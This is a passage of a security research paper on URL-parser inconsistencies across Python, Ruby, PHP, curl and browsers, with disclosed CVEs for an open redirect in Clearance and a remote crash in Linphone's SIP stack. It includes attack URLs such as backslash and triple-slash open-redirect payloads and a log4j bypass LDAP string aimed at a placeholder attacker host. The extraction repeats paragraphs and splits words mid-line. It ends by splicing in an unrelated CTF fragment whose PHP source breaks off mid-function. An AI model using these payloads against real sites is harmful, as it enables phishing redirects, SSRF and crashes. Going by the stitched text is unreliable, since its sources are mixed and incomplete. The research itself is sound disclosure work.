specification (TWUS), which states backslashes should be treated the same as front slashes.
The parsing result of the URL http:\\google.com.
However, when supplied to the Chrome browser (this result is replicated in most browsers),
Chrome chooses to interpret the backslash as if it was a regular slash.
A HTTP response telling the browser to redirect the user to https:\\www.google.com through the Location HTTP header,
using backslashes instead of slashes.
And indeed, the browser treats this malformed URL as if the backslashes were slashes.
Furthermore, to take matters into the extreme, in case both slashes and backslashes are used,
the browser still accepts the URL and treats it as a valid URL, as can be seen in the picture
below.
A HTTP response telling the browser to redirect the user to https:◌ֿ /\www.google.com through the Location HTTP header,
using both backslashes and slashes.
This uncanny behavior happens because most browsers actually follow the WHATWG URL
specification (TWUS), which states backslashes should be treated the same as front slashes.
A HTTP response telling the browser to redirect the user to https:\\www.google.com through the Location
HTTP header, using backslashes instead of slashes.
A HTTP response telling the browser to redirect the user to https:ֿ/\www.google.com through the Location
HTTP header, using both backslashes and slashes.
The parsing result of the URL http:\\google.com.
claroty.com
19
Copyright © 2021 Claroty Ltd. All rights reserved
This uncanny behavior happens because most browsers actually follow the WHATWG URL specification (TWUS), which
states backslashes should be treated the same as front slashes.
Another interesting example of URL parsers treating backslashes as slashes can be seen inside the regular expressions used
by urllib3 to parse a given URL to its different components.
As we can see, urllib3 uses a backslash as a delimiter to its authority component. This means that if an authority contains
a backslash in it, urllib3 would split it and use only the prefix to the backslash as the authority, instead concatenating the
postfix to the path.
This creates a wide range of attack scenarios, in which a malicious attacker abuses this parsing primitive by using a
backslash inside a URL in order to confuse different parsers and achieve unexpected results.
One example of such a confusion could be seen when giving the following URL to different parsers:
http://evil.com\@google.com/
If we follow the latest URL RFC, specifying that a backslash has no special meaning inside a URL authority, we reach the
simple conclusion that this URL has the following authority:
Authority = [ userinfo “@” ] host [ “:” port ]
Authority = [ evil.com\ “@” ] google.com
Meaning our host is google.com, while evil.com\ is simply the given userinfo, and when we look into how most parsers parse
this URL, we get a confirmation for our hypothesized authority.
The source code of the regex used to parse URLs by urllib3, using a backslash as a delimiter to the
authority URL component (marked in red).
Another interesting example of URL parsers treating backslashes as slashes can be seen inside
the regular expressions used by urllib3 to parse a given URL to its different components.
The source code of the regex used to parse URLs by urllib3, using a backslash as a delimiter to the authority URL
component (marked in red).
As we can see, urllib3 uses a backslash as a delimiter to its authority component. This means
that if an authority contains a backslash in it, urllib3 would split it and use only the prefix to the
backslash as the authority, instead concatenating the postfix to the path.
This creates a wide range of attack scenarios, in which a malicious attacker abuses this parsing
primitive by using a backslash inside a URL in order to confuse different parsers and achieve
unexpected results.
One example of such a confusion could be seen when giving the following URL to different
parsers:
http://evil.com\@google.com/
If we follow the latest URL RFC, specifying that a backslash has no special meaning inside a
URL authority, we reach the simple conclusion that this URL has the following authority:
Authority = [ userinfo "@" ] host [ ":" port ]
Authority = [ evil.com\ "@" ] google.com
Meaning our host is google.com, while evil.com\ is simply the given userinfo, and when we look
into how most parsers parse this URL, we get a confirmation for our hypothesized authority.
However, since we’ve seen that urllib3 treats a backslash as a delimiter to the authority
component, we know its result will not be the same. And since the requests Python module
claroty.com
20
Copyright © 2021 Claroty Ltd. All rights reserved
However, since we’ve seen that urllib3 treats a backslash as a delimiter to the authority component, we know its result will
not be the same. And since the requests Python module uses urllib3 as its main parser (while still using urllib’s urlparse
and urlsplit in other cases), this gets even more interesting.
As we can see, in both cases the URL parser concluded that evil.com is the correct authority/host for this URL, since the
parser accepts a backslash as a valid delimiter.
ing this discrepancy between parsers, a malicious attacker could easily bypass many different validatio
By abus
ns being
performed, thus opening a wide range of possible attack vectors.
URL-ENCODED DATA CONFUSION
Lastly, another interesting URL interaction we’ve discovered is one involving URLs containing URL-encoded characters.
URL encoding is a method in which any non-printable characters are instead converted to a hex representation, with a
percent sign (%) as a suffix. This method allows non-printable characters to be sent inside a URL without sending the actual
value of the character, keeping the request completely textual even if it would contain non-printable characters. This also
doubles down as a protection from many attacks, such as a CRLF injection or a NULL byte injection. However, technically
speaking, printable characters could also be URL-encoded, and our confusion involves just that.
According to the URL RFC (RFC 3986), all URL components except the scheme can be represented using URL encoded
characters, and when parsed should be URL decoded. While it’s common for URL parsers to decode the path component,
many parsers are not decoding the host although the RFC 3896 clearly states that. For example, we have tested this
scenario with cURL which did not decode the host component. We reported this behaviour to cURL maintainer Daniel
Stenberg who considered it a bug and fixed it in the latest cURL version.
When we supplied our parsers with a URL that has URL-encoded printable characters, most parsers did not URL-decode the
URL (the opposite operation of URL-encoding), instead returning a result containing URL-encoded data.
Our malicious URL is parsed by urllib3’s parse_url, returning evil.com as the host, as well as being used in a
GET request by the requests library, resulting in evil.com being fetched.
uses urllib3 as its main parser (while still using urllib’s urlparse and urlsplit in other cases), this
gets even more interesting.
Our malicious URL is parsed by urllib3’s parse_url, returning evil.com as the host, as well as being used in a GET request
by the requests library, resulting in evil.com being fetched.
As we can see, in both cases the URL parser concluded that evil.com is the correct
authority/host for this URL, since the parser accepts a backslash as a valid delimiter.
By abusing this discrepancy between parsers, a malicious attacker could easily bypass many
different validations being performed, thus opening a wide range of possible attack vectors.
claroty.com
21
Copyright © 2021 Claroty Ltd. All rights reserved
While this seems like the expected result (and it might actually be the expected result), an interesting interaction happens
whenever we try to fetch this URL. In order to fetch this URL, we’ve used both urllib’s urlopen and requests, Python’s most
prominent URL fetchers. When we fetched this URL, we discovered that both parsers were actually decoding the URL, and
managed to fetch the URL.
URL parsers parsing a URL-encoded form of http://google.com, returning a URL-encoded result
A fetch request using both urllib and requests, fetching the URL-encoded URL of
http://127.0.0.1.Both requests were fulfilled, fetching the requested resource.
URL parsers parsing a URL-encoded form of http://google.com, returning a URL-encoded result
While this seems like the expected result (and it might actually be the expected result), an
interesting interaction happens whenever we try to fetch this URL. In order to fetch this URL,
we’ve used both urllib’s urlopen and requests, Python’s most prominent URL fetchers.
When we fetched this URL, we discovered that both parsers were actually decoding the URL,
and managed to fetch the URL.
A fetch request using both urllib and requests, fetching the URL-encoded URL of http://127.0.0.1. Both requests
were fulfilled, fetching the requested resource.
URL parsers parsing a URL-encoded form of http://google.com, returning a URL-encoded result
While this seems like the expected result (and it might actually be the expected result), an
interesting interaction happens whenever we try to fetch this URL. In order to fetch this URL,
we’ve used both urllib’s urlopen and requests, Python’s most prominent URL fetchers.
When we fetched this URL, we discovered that both parsers were actually decoding the URL,
and managed to fetch the URL.
A fetch request using both urllib and requests, fetching the URL-encoded URL of http://127.0.0.1. Both requests
were fulfilled, fetching the requested resource.
claroty.com
22
Copyright © 2021 Claroty Ltd. All rights reserved
And indeed, when we checked if the request was performed, we found that both parsers decoded the URL-encoded
characters and successfully fulfilled the request.
This dissonance in which one time the parser decodes the URL and another it does not opens a huge range of possible
vulnerabilities in which an attacker could bypass validations being performed by URL-decoding the URL he wants to
retrieve. Furthermore, because this confusion could happen when using only one URL parsing library, for example urllib’s
urlsplit and urlopen, the attack becomes even more prominent in web applications.
SCHEME MIXUP
The last confusion type we’ve named Scheme Mixup, and it refers to a mixup between multiple URL Schemes. As we’ve
explained before, the scheme component of a URL dictates the exact URL protocol which should be used in order to
parse the URL. Currently, many URL schemes exist, the most popular one (and the one which we’ve talked about in this
paper the most) being the HTTP/HTTPS URL protocol. However, URLs support many other protocols, including FTP, FILE,
SIP, LDAP and many more.
While all of the above URL protocols are still considered a URL, and share very similarities to the basic URL, some
differences still exist, and there is no guarantee that a general URL parser will be able to correctly parse URLs of a
different protocol.
For example, let’s take a look back into the log4j bypass vulnerability (CVE-2021-45046) which we’ve explained before.
In this example, we’ve showcased the following LDAP URL:
ldap://127.0.0.1#.evilhost.com:1389/a
As it turns out, this specific URL is parsed differently whether it is parsed as a LDAP URL or a HTTP URL. Let’s take a look at
the LDAP URL specification (taken from RFC 2255):
As we can see, the LDAP URL has some different components, however one component in particular is missing - the
Fragment. This means that if we were to parse this URL as a regular URL, the Authority component would end after the
# character (which is a reserved character signaling the start of a Fragment), leaving 127.0.0.1 as the Authority,
while a LDAP URL parser would assign the whole 127.0.0.1#.evilhost.com:1389 as the Authority, since in LDAP
RFC the # character has no special meaning.
While this example is taken from a real-life vulnerability which exploited this exact mixup, it showcases how different some
URL schemes can be, and the importance of using the correct, protocol specific URL parsers whenever parsing a URL of a
none-default scheme.
ldap://127.0.0.1#.evilhost.com:1389/a
As it turns out, this specific URL is parsed differently whether it is parsed as a LDAP URL or a
HTTP URL. Let's take a look at the LDAP URL specification (taken from RFC 2255):
ldapurl = scheme "://" [hostport] ["/"
[dn ["?" [attributes] ["?" [scope]
["?" [filter] ["?" extensions]]]]]]
As we can see, the LDAP URL has some different components, however one component in
particular is missing - the Fragment. This means that if we were to parse this URL as a regular
URL, the Authority component would end after the # character (which is a reserved
character signaling the start of a Fragment), leaving 127.0.0.1 as the Authority, while a
LDAP URL parser would assign the whole 127.0.0.1#.evilhost.com:1389 as the
Authority, since in LDAP RFC the # character has no special meaning.
While this example is taken from a real-life vulnerability which exploited this exact mix up, it
showcases how different some URL schemes can be, and the importance of using the correct,
protocol specific URL parsers whenever parsing a URL of a none-default Scheme.
Summary
Scheme
Confusion
Slash
Confusion
Backslash
Confusion
URL-Encoded
Confusion
claroty.com
23
Copyright © 2021 Claroty Ltd. All rights reserved
Lang
Python
Python
Python
Python
Python
Python
curl
wget
Browser
.NET
Java
Java
PHP
NodeJS
Slash
Confusion
http:///foo.com
Host:None
Path:/foo.com
Host:None
Path:/foo.com
Host:None
Path:/foo.com
Host:None
Path:/foo.com
Invalid URL
Host:None
Path:/foo.com
Host:foo.com
Path:None
Invalid URL
Host:foo.com
Path:None
Invalid URL
Host:None
Path:/foo.com
Host:None
Path:/foo.com
Invalid URL
Host:None
Path:/foo.com
Lib
urllib
urlsplit
urllib
urlparse
urllib
urlopen
rfc3986
httptools
urllib3
curl lib
wget
Chrome
Uri
URL
URI
parse_url
url
Backslash
Confusion
http:\\foo.com
Host:None
Path:/\\foo.com
Host:None
Path:/\\foo.com
Host:None
Path:/\\foo.com
Host:None
Path:%5c%5cfoo.com
Invalid URL
Host:None
Path:/%5c%5cfoo.com
Invalid URL
Host:None
Path:/%5c%5cfoo.com
Host:foo.com
Path:None
Host:foo.com
Path:None
Host:None
Path:\\foo.com
Invalid URL
Host:None
Path:\\foo.com
Host:foo.com
Path:None
Scheme
Confusion
foo.com
Host:None
Path:/foo.com
Host:None
Path:/foo.com
Host:None
Path:/foo.com
Host:None
Path:/foo.com
Invalid URL
Host:foo.com
Path:None
Host:foo.com
Path:None
Host:foo.com
Path:None
Behaviour
changes based
on usage
Invalid URL
Invalid URL
Host:None
Path:/foo.com
Host:None
Path:foo.com
Host:None
Path:foo.com
URL-Encoded
Confusion
http://%66%6f%6f%2e%63%6f%6d
Host:%66%6f%6f%2e%63%6f%6d
Path:None
Host:%66%6f%6f%2e%63%6f%6d
Path:None
Host:foo.com
Path:None
Host:%66%6f%6f%2e%63%6f%6d
Path:None
Invalid URL
Host:foo.com
Path:None
*Host:%66%6f%6f%2e%63%6f%6d
Path:None
Host:foo.com
Path:None
Host:foo.com
Path:None
Invalid URL
Host:foo.com
Path:None
Host:%66%6f%6f%2e%63%6f%6d
Path:None
Host:%66%6f%6f%2e%63%6f%6d
Path:None
Host:%66%6f%6f%2e%63%6f%6d
Path:None
SUMMARY
claroty.com
24
Copyright © 2021 Claroty Ltd. All rights reserved
* Following our report, this was fixed in cURL to be compatible with RFC 3986.
NodeJS
Go
Ruby
Perl
Host:foo.com
Path:None
Host:None
Path:/foo.com
Host:None
Path:/foo.com
Host:None
Path:/foo.com
url-parse
net/url
uri
URI
Host:foo.com
Path:None
Invalid URL
Invalid URL
Host:None
Path:%5c%5cfoo.com
Host:None
Path:foo.com
Host:None
Path:foo.com
Host:None
Path:foo.com
Host:None
Path:foo.com
Host:%66%6f%6f%2e%63%6f%6d
Path:None
Invalid URL
Host:%66%6f%6f%2e%63%6f%6d
Path:None
Host:foo.com
Path:None
claroty.com
25
Copyright © 2021 Claroty Ltd. All rights reserved
EXPLOITING URL CONFUSION
VULNERABILITIES
Different parsing primitives of URLs could actually lead to many different vulnerabilities and security issues. As a rule of
thumb, when parsing the same data, all parsers should be deterministic and return the same results. By not doing so, the
parsers introduce a level of uncertainty to the process, and create a wide range of possible vulnerabilities.
An attacker, for example, could bypass most validations performed by the server using a crafted, malicious URL that a
server would parse incorrectly. This validation bypass exposes a wide range of vulnerabilities to the malicious actor,
enabling many kinds of vulnerabilities to be exploited. For example, secure filter bypass, SSRF, open redirect attacks, denial
of service, and more.
Let’s illustrate these scenarios through some of the vulnerabilities we uncovered:
CLEARANCE (RUBY)
CVE-2021-23435: Open Redirect Vulnerability
An open redirect vulnerability is most prevalent in the world of phishing and man-in-the-middle attacks (MITM). This
vulnerability occurs when a web application accepts a user-controlled input that specifies a URL that the user will be
redirected to after a certain action. The most common actions are a successful login, log out, and others. In order to protect
the users from an open redirect attack, the web server validates the given URL and allows only URLs that belong to the
same site or to a list of trusted domains.
An example of an attacker sending a user a malicious link to a vulnerable site,
that will redirect the user to an attacker-controlled site.
evil.com
foo.com
Hi,foo.com
Check this website
foo.com?u=///evil.com
Go to ///evil.com
claroty.com
26
Copyright © 2021 Claroty Ltd. All rights reserved
Our vulnerability was identified in the Clearance Ruby gem. Clearance is a library meant to enhance and extend the
capabilities of Ruby’s Rails framework by adding simple and secure email and password authentication.
Since Clearance is a third-party add-on to Rails, many applications choose to use Clearance instead of implementing their
own authentication, making them vulnerable to open redirect attacks in proxy. Thus, this vulnerability could put thousands
of web applications at risk.
Clearance derives the redirection URL from the path segment of the supplied URL and stores it in a session variable:
The vulnerable function inside Clearance is return_to. This function is meant to be called after a login/logout procedure,
and should redirect the user safely to the page they requested earlier:
In order to eliminate a potential open redirect vulnerability, return_to does not allow users to freely supply a return_to
URL, instead whenever a user tries to access a URL and they’re not logged in, the server keeps the URL they’ve tried to
access inside the session variable. However, the user can control this variable in two cases:
1. The developer explicitly retrieves it from the request:
session[:return_to] = controller.params[:return_to]
2. Accessing a route without being logged-in. In this case Clearance automatically redirects the user to the login page
and sets the session[:return_to] variable to the requested path.
Given these conditions, if a malicious actor is able to convince a user to press on a specifically crafted URL of the following
form, they could trigger the open redirect vulnerability:
Since Clearance is a third-party add-on to Rails, many applications choose to use Clearance
instead of implementing their own authentication, making them vulnerable to open redirect
attacks in proxy. Thus, this vulnerability could put thousands of web applications at risk.
Clearance derives the redirection URL from the path segment of the supplied URL and stores it
in a session variable:
The vulnerable function inside Clearance is return_to. This function is meant to be called
after a login/logout procedure, and should redirect the user safely to the page they requested
earlier:
In order to eliminate a potential open redirect vulnerability, return_to does not allow users to
freely supply a return_to URL, instead whenever a user tries to access a URL and they're
not logged in, the server keeps the URL they’ve tried to access inside the session variable.
However, the user can control this variable in two cases:
1. The developer explicitly retrieves it from the request:
session[:return_to] = controller.params[:return_to]
2. Accessing a route without being logged-in. In this case Clearance automatically redirects
the user to the login page and sets the session[:return_to] variable to the
requested path.
Given these conditions, if a malicious actor is able to convince a user to press on a specifically
crafted URL of the following form, they could trigger the open redirect vulnerability:
Since Clearance is a third-party add-on to Rails, many applications choose to use Clearance
instead of implementing their own authentication, making them vulnerable to open redirect
attacks in proxy. Thus, this vulnerability could put thousands of web applications at risk.
Clearance derives the redirection URL from the path segment of the supplied URL and stores it
in a session variable:
The vulnerable function inside Clearance is return_to. This function is meant to be called
after a login/logout procedure, and should redirect the user safely to the page they requested
earlier:
In order to eliminate a potential open redirect vulnerability, return_to does not allow users to
freely supply a return_to URL, instead whenever a user tries to access a URL and they're
not logged in, the server keeps the URL they’ve tried to access inside the session variable.
However, the user can control this variable in two cases:
1. The developer explicitly retrieves it from the request:
session[:return_to] = controller.params[:return_to]
2. Accessing a route without being logged-in. In this case Clearance automatically redirects
the user to the login page and sets the session[:return_to] variable to the
requested path.
Given these conditions, if a malicious actor is able to convince a user to press on a specifically
crafted URL of the following form, they could trigger the open redirect vulnerability:
claroty.com
27
Copyright © 2021 Claroty Ltd. All rights reserved
http://www.victim.com/////evil.com
Since Rails ignores multiple slashes in the URL, the path segment will arrive in its entirety to be parsed in Clearance
(/////evil.com). Since URI.parse trims off two slashes, the resulting URL will be ///evil.com.
As we’ve seen above, whenever the server redirects the user to this URL, ///evil.com, the browser will convert this network-
path relative reference to the absolute http://evil.com URL pointing to the evil.com domain (host).
BUT ISN’T THE BROWSER THE REAL CULPRIT?
We can all agree that ///evil.com is not a RFC compliant URL, some could even go as far as to say it is an invalid URL.
However, we see that Google Chrome and the Chromium Project treat it as a valid URL and handle it the same way it would
handle normal URLs such as http://evil.com .
When we checked the Chromium Project, we noticed that it supports such URLs, and when we looked deeper into the code,
we found comments directly specifying that Chromium supports broken and malformed URLs.
In order to understand why most browsers act this way, we need to go into the past. Apparently, browsers were always
more lenient when it came to parsing URLs. In order to be a robust browser that works in most scenarios and user inputs,
browsers had to “forgive” developers’ mistakes, and were forced to accept imperfect, non RFC-compliant URLs. For example,
since omitting/adding slashes is a common mistake, browsers choose to ignore missing/extra slashes.
So, to conclude: ///evil.com will be treated by browsers as an absolute URL [http://evil.com] because browsers were built
to simply work and to accept a wide range of URLs. This is an example of how treating relative path URLs differently in the
app and in the browser can lead to undesired consequences.
http://www.target.com/////evil.com
Since Rails ignores multiple slashes in the URL, the path segment will arrive in its entirety to be
parsed in Clearance (/////evil.com). Since URI.parse trims off two slashes, the resulting
URL will be ///evil.com.
As we’ve seen above, whenever the server redirects the user to this URL, ///evil.com, the
browser will convert this network-path relative reference to the absolute http://evil.com URL
pointing to the evil.com domain (host).
But isn’t the Browser the Real Culprit?
We can all agree that ///evil.com is not a RFC compliant URL, some could even go as far as to
say it is an invalid URL. However, we see that Google Chrome and the Chromium Project treat
it as a valid URL and handle it the same way it would handle normal URLs such as
http://evil.com .
When we checked the Chromium Project, we noticed that it supports such URLs, and when we
looked deeper into the code, we found comments directly specifying that Chromium supports
broken and malformed URLs.
This comment from Chromium Project code explains how Chromium accepts malformed URLs.
In order to understand why most browsers act this way, we need to go into the past. Apparently,
browsers were always more lenient when it came to parsing URLs. In order to be a robust
browser that works in most scenarios and user inputs, browsers had to “forgive” developers’
mistakes, and were forced to accept imperfect, non RFC-compliant URLs. For example, since
omitting/adding slashes is a common mistake, browsers choose to ignore missing/extra slashes.
So, to conclude: ///evil.com will be treated by browsers as an absolute URL [http://evil.com]
because browsers were built to simply work and to accept a wide range of URLs. This is an
example of how treating relative path URLs differently in the app and in the browser can lead to
undesired consequences.
This comment from Chromium Project code explains how Chromium accepts malformed URLs.
claroty.com
28
Copyright © 2021 Claroty Ltd. All rights reserved
BELLEDONNE’S LINPHONE SIP STACK
CVE-2021-33056: Denial of Service
Linphone is a free voice-over-IP softphone, SIP client and service. It may be used for audio and video direct calls and calls
through any VoIP softswitch or IP-PBX. Under the hood, Linphone uses the belle-sip component for handling low-level SIP
message parsing.
Session Initiation Protocol (SIP) is a signalling protocol used for initiating, maintaining, terminating and modifying real-
time sessions between two or more IP-based endpoints that involve voice, video, messaging, and other communications
applications and services. The SIP protocol and its extensions are defined across multiple RFCs including: RFC 3261,
RFC 3311, RFC 3428, RFC 3515, RFC 3903, RFC 6086, RFC 6665, and others.
SIP is a text-based protocol with syntax similar to that of HTTP. There are two different types of SIP messages: requests and
responses. The first line of a request has a method that defines the nature of the request, and a Request-URI, that indicates
where the request should be sent. Then, many different SIP headers are specified, elaborating different parameters of the
requests/response. Here is an example of a SIP message:
While looking into Belledonne’s SIP protocol stack, we noticed many references and code involving URL parsing.
As it turns out, SIP is a URL scheme, supporting similar parsing primitives to HTTP URLs.
By looking into the URL parsing functionality of Belledone, we’ve found this piece of code parsing the SIP URL inside
the To/From SIP headers:
Belledonne’s Linphone SIP Stack
CVE-2021-33056: Denial of Service
Linphone is a free voice-over-IP softphone, SIP client and service. It may be used for audio and
video direct calls and calls through any VoIP softswitch or IP-PBX. Under the hood, Linphone
uses the belle-sip component for handling low-level SIP message parsing.
Session Initiation Protocol (SIP) is a signalling protocol used for initiating, maintaining,
terminating and modifying real-time sessions between two or more IP-based endpoints that
involve voice, video, messaging, and other communications applications and services. The SIP
protocol and its extensions are defined across multiple RFCs including: RFC 3261, RFC 3311,
RFC 3428, RFC 3515, RFC 3903, RFC 6086, RFC 6665, and others.
SIP is a text-based protocol with syntax similar to that of HTTP. There are two different types of
SIP messages: requests and responses. The first line of a request has a method that defines
the nature of the request, and a Request-URI, that indicates where the request should be sent.
Then, many different SIP headers are specified, elaborating different parameters of the
requests/response. Here is an example of a SIP message:
An example of a SIP invite message.
While looking into Belledonne’s SIP protocol stack, we noticed many references and code
involving URL parsing. As it turns out, SIP is a URL scheme, supporting similar parsing
primitives to HTTP URLs.
By looking into the URL parsing functionality of Belledone, we’ve found this piece of code
parsing the SIP URL inside the To/From SIP headers:
An example of a SIP invite message.
claroty.com
29
Copyright © 2021 Claroty Ltd. All rights reserved
As we can see in this piece of code, Belledone parses the SIP URL as a generic URL and checks if the scheme is either SIP or
SIPs using strcasecmp, checking if the given URL is a SIP URL.
However, if we take a look into the URL parsing inconsistencies showcased above, we remember the scheme confusion,
involving URLs missing a scheme. As it turns out, a Belledonne generic_uri accepts URLs created by the different URL
components, without requiring specific components to be present. This means a URL containing only a path is a valid URL,
while not having a URL scheme. Using this, we’ve supplied a URL containing only a single slash (/), resulting in the URL’s
scheme being NULL. Then, when Belledone uses strcasecmp, it compares a NULL pointer (because no scheme was
supplied) resulting in a NULL pointer dereference and the application’s crash.
The vulnerable payload could be seen in the following SIP message:
Using this malicious URL, we were able to create an exploit resulting in crashing any remote user’s application, requiring
zero interaction from the attacked user as the vulnerability being triggered upon a malicious VoIP call.
The code parses the To/From SIP URLs inside the Belledone’s SIP protocol stack.
As we can see in this piece of code, Belledone parses the SIP URL as a generic URL and
checks if the scheme is either SIP or SIPs using strcasecmp, checking if the given URL is a
SIP URL.
However, if we take a look into the URL parsing inconsistencies showcased above, we
remember the scheme confusion, involving URLs missing a scheme. As it turns out, a
Belledonne generic_uri accepts URLs created by the different URL components, without
requiring specific components to be present. This means a URL containing only a path is a valid
URL, while not having a URL scheme. Using this, we’ve supplied a URL containing only a single
slash (/), resulting in the URL’s scheme being NULL. Then, when Belledone uses
strcasecmp, it compares a NULL pointer (because no scheme was supplied) resulting in a
NULL pointer dereference and the application’s crash.
The vulnerable payload could be seen in the following SIP message:
A malicious SIP message, containing a malicious URL in the From header, results in a NULL pointer
dereference and the application’s crash.
Using this malicious URL, we were able to create an exploit resulting in crashing any remote
user’s application, requiring zero interaction from the attacked user as the vulnerability being
triggered upon a malicious VoIP call.
The code parses the To/From SIP URLs inside the Belledone’s SIP protocol stack.
As we can see in this piece of code, Belledone parses the SIP URL as a generic URL and
checks if the scheme is either SIP or SIPs using strcasecmp, checking if the given URL is a
SIP URL.
However, if we take a look into the URL parsing inconsistencies showcased above, we
remember the scheme confusion, involving URLs missing a scheme. As it turns out, a
Belledonne generic_uri accepts URLs created by the different URL components, without
requiring specific components to be present. This means a URL containing only a path is a valid
URL, while not having a URL scheme. Using this, we’ve supplied a URL containing only a single
slash (/), resulting in the URL’s scheme being NULL. Then, when Belledone uses
strcasecmp, it compares a NULL pointer (because no scheme was supplied) resulting in a
NULL pointer dereference and the application’s crash.
The vulnerable payload could be seen in the following SIP message:
A malicious SIP message, containing a malicious URL in the From header, results in a NULL pointer
dereference and the application’s crash.
Using this malicious URL, we were able to create an exploit resulting in crashing any remote
user’s application, requiring zero interaction from the attacked user as the vulnerability being
triggered upon a malicious VoIP call.
A malicious SIP message, containing a malicious URL in the From header,
results in a NULL pointer dereference and the application’s crash.
The code parses the To/From SIP URLs inside the Belledone’s SIP protocol stack.
claroty.com
30
Copyright © 2021 Claroty Ltd. All rights reserved
Proof-of-concept exploit: Remotely crashing a SIP client. This picture shows the application running as usual
prior to executing the exploit.
Here, our PoC crashes the Belledone’s SIP stack application, returning the user to the homescreen.
Proof-of-concept exploit: Remotely crashing a SIP client. This picture shows the application running as usual
prior to executing the exploit.
Here, our PoC crashes the Belledone’s SIP stack application, returning the user to the homescreen.
Proof-of-concept exploit: Remotely crashing a SIP client. This picture shows the application running as usual
prior to executing the exploit.
Here, our PoC crashes the Belledone’s SIP stack application, returning the user to the homescreen.
claroty.com
31
Copyright © 2021 Claroty Ltd. All rights reserved
CONCLUSION
VULNERABILITIES
Throughout our research on URL parsers, we found many vulnerabilities in different languages. Here are the eight
vulnerabilities that were identified as part of our research:
1) Flask-security (Python, CVE-2021-23385)
2) Flask-security-too (Python, CVE-2021-32618)
3) Flask-User (Python, CVE-2021-23401)
4) Flask-unchained (Python, CVE-2021-23393)
5) Belledonne’s SIP Stack (C, CVE-2021-33056)
6) Video.js (JavaScript, CVE-2021-23414)
7) Nagios XI (PHP, CVE-2021-37352)
8) Clearance (Ruby, CVE-2021-23435)
RECOMMENDATIONS
Many real-life attack scenarios could arise from different parsing primitives. In order to sufficiently protect your application
from vulnerabilities involving URL parsing, it is necessary to fully understand which parsers are involved in the whole
process, be it programmatic parsers, external tools, and others.
After knowing each parser involved, a developer should fully understand the differences between parsers, be it their
leniency, how they interpret different malformed URLs, and what types of URLs they support.
As always, user-supplied URLs should never be blindly trusted, instead they should first be canonized and then validated,
with the differences between the parser in use as an important part of the validation.
In general, we recommend following these guidelines when parsing URLs:
claroty.com
32
Copyright © 2021 Claroty Ltd. All rights reserved
TRY TO USE AS FEW DIFFERENT PARSERS AS POSSIBLE
We recommend you to avoid using a URL parser at all, and it is easily achievable in many cases. As an example we can think
about the redirect feature often implemented as part of the login/register form. As we’ve seen, such forms often implement
a returnTo value or a query parameter to redirect the user to after a successful action, however this returnTo value
often becomes a source of open redirect vulnerabilities. In many programming languages and frameworks you can avoid
using a URL parser in this case by using the controller and action name or identifier for the redirect.
For example, in the Ruby on Rails framework you can replace vulnerable redirect_to(params[:return_to]) which
trusts user input, to a safer solution such as redirect_to :controller => params[:controller_from],:action
=> params[:action_from] which redirects to the URL created according to the routes configuration. If the route for
controller_from or action_from does not exist – users will simply receive ActionController::UrlGenerationError
error, which is fine in terms of security.
In the case of needing to parse and fetch a URL, a single parsing library should be used, such as libcurl which offers
both URL parsing and URL fetching. By using a single parser for both actions, you will be reducing the risk of each parser
understanding the URL differently, negating most URL parsing confusion.
TRANSFER A PARSED URL ACROSS MICROSERVICE ENVIRONMENT
Another example of how developers can find themselves using multiple URL parsers would be in popular microservice
architectures. If microservices are implemented in different frameworks or programming languages, they will likely use
different URL parsers. Imagine a situation where one microservice validates a URL and another uses the same URL to
perform a request. This scenario can lead to an SSRF vulnerability in your application, which is not easy to identify because
usually static analysis tools analyze each microservice independently.
To avoid this problem you can simply parse a URL at the front-end microservice and transfer it further in its parsed form.
Generally, this advice is similar to the previous one, but we think it is important to show that using as few different parsers
as possible–indeed a good option.
UNDERSTAND DIFFERENCES IN PARSERS INVOLVED WITH APPLICATION BUSINESS LOGIC
We understand that in some cases it is impossible to avoid using multiple URL parsers in one project. As a good example,
in PHP we often use cURL to perform external requests. cURL uses a WHATWG compliant parser, but the PHP parse_url
function uses RFC 3986 as its reference. The code snippet below is meant to block requests to example.com, but the if
condition can be bypassed by specifying a URL without a schema (see schema confusion). In the RFC 3986 (parse_url) case
the host will be empty, but WHATWG (cURL) will resolve it to a full URL with the default schema HTTP.
claroty.com
33
Copyright © 2021 Claroty Ltd. All rights reserved
In this case, the right solution is simply to check if the host returned by parse_url is not empty as well as not example.com.
But generally, as mentioned above, developers need to be aware about differences in parsing behaviors.
ALWAYS CANONICALIZE THE URL BEFORE PARSING
The Clearance Ruby gem example mentioned earlier was fixed by stripping down leading slashes from the relative path
provided by the user, and by doing that Clearance is canonicalizing the URL and removing excess parts. We observed a lot
of different code snippets to cut extra slashes in Ruby like: uri.path.chomp(‘/’), uri.path.sub(/\/$/, ‘’),
uri.path.sub(/\A\/+/, “/”) and so on.
This is a special case for the Ruby on Rails web framework since the routing logic of the framework ignores leading slashes,
which means that both http://my-host.com/test and http://my-host.com////test are valid URLs and point
to the same controller and action. Although slashes are ignored by the router, the URL remains the same for the client and
backend sides, which means both request.fullpath and window.location.pathname will return ////test for the
second example. As was shown above, this behavior can cause an Open Redirect vulnerability and it is not unique for Ruby
(we’ve seen similar cases in Python’s Django web framework and others).
So, it is important to remove multiple forward/backward slashes, white-spaces and control characters and to properly
canonicalize a URL before parsing it.
In this case, the right solution is simply to check if the host returned by parse_url is not empty as
well as not example.com. But generally, as mentioned above, developers need to be aware
about differences in parsing behaviors.
Always Canonicalize the URL Before Parsing
The Clearance Ruby gem example mentioned earlier was fixed by stripping down leading
slashes from the relative path provided by the user, and by doing that Clearance is
canonicalizing the URL and removing excess parts. We observed a lot of different code snippets
to cut extra slashes in Ruby like: uri.path.chomp('/'), uri.path.sub(/\/$/, ''),
uri.path.sub(/\A\/+/, "/") and so on.
This is a special case for the Ruby on Rails web framework since the routing logic of the
framework ignores leading slashes, which means that both http://my-host.com/test and
http://my-host.com////test are valid URLs and point to the same controller and action.
Although slashes are ignored by the router, the URL remains the same for the client and
backend sides, which means both request.fullpath and window.location.pathname
will return ////test for the second example. As was shown above, this behavior can cause an
Open Redirect vulnerability and it is not unique for Ruby (we’ve seen similar cases in Python’s
Django web framework and others).
So, it is important to remove multiple forward/backward slashes, white-spaces and control
characters and to properly canonicalize a URL before parsing it.
Copyright © 2021 Claroty Ltd. All rights reserved | pdf |
访问地址直接给出了源码: http://101.32.205.189
<?php
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
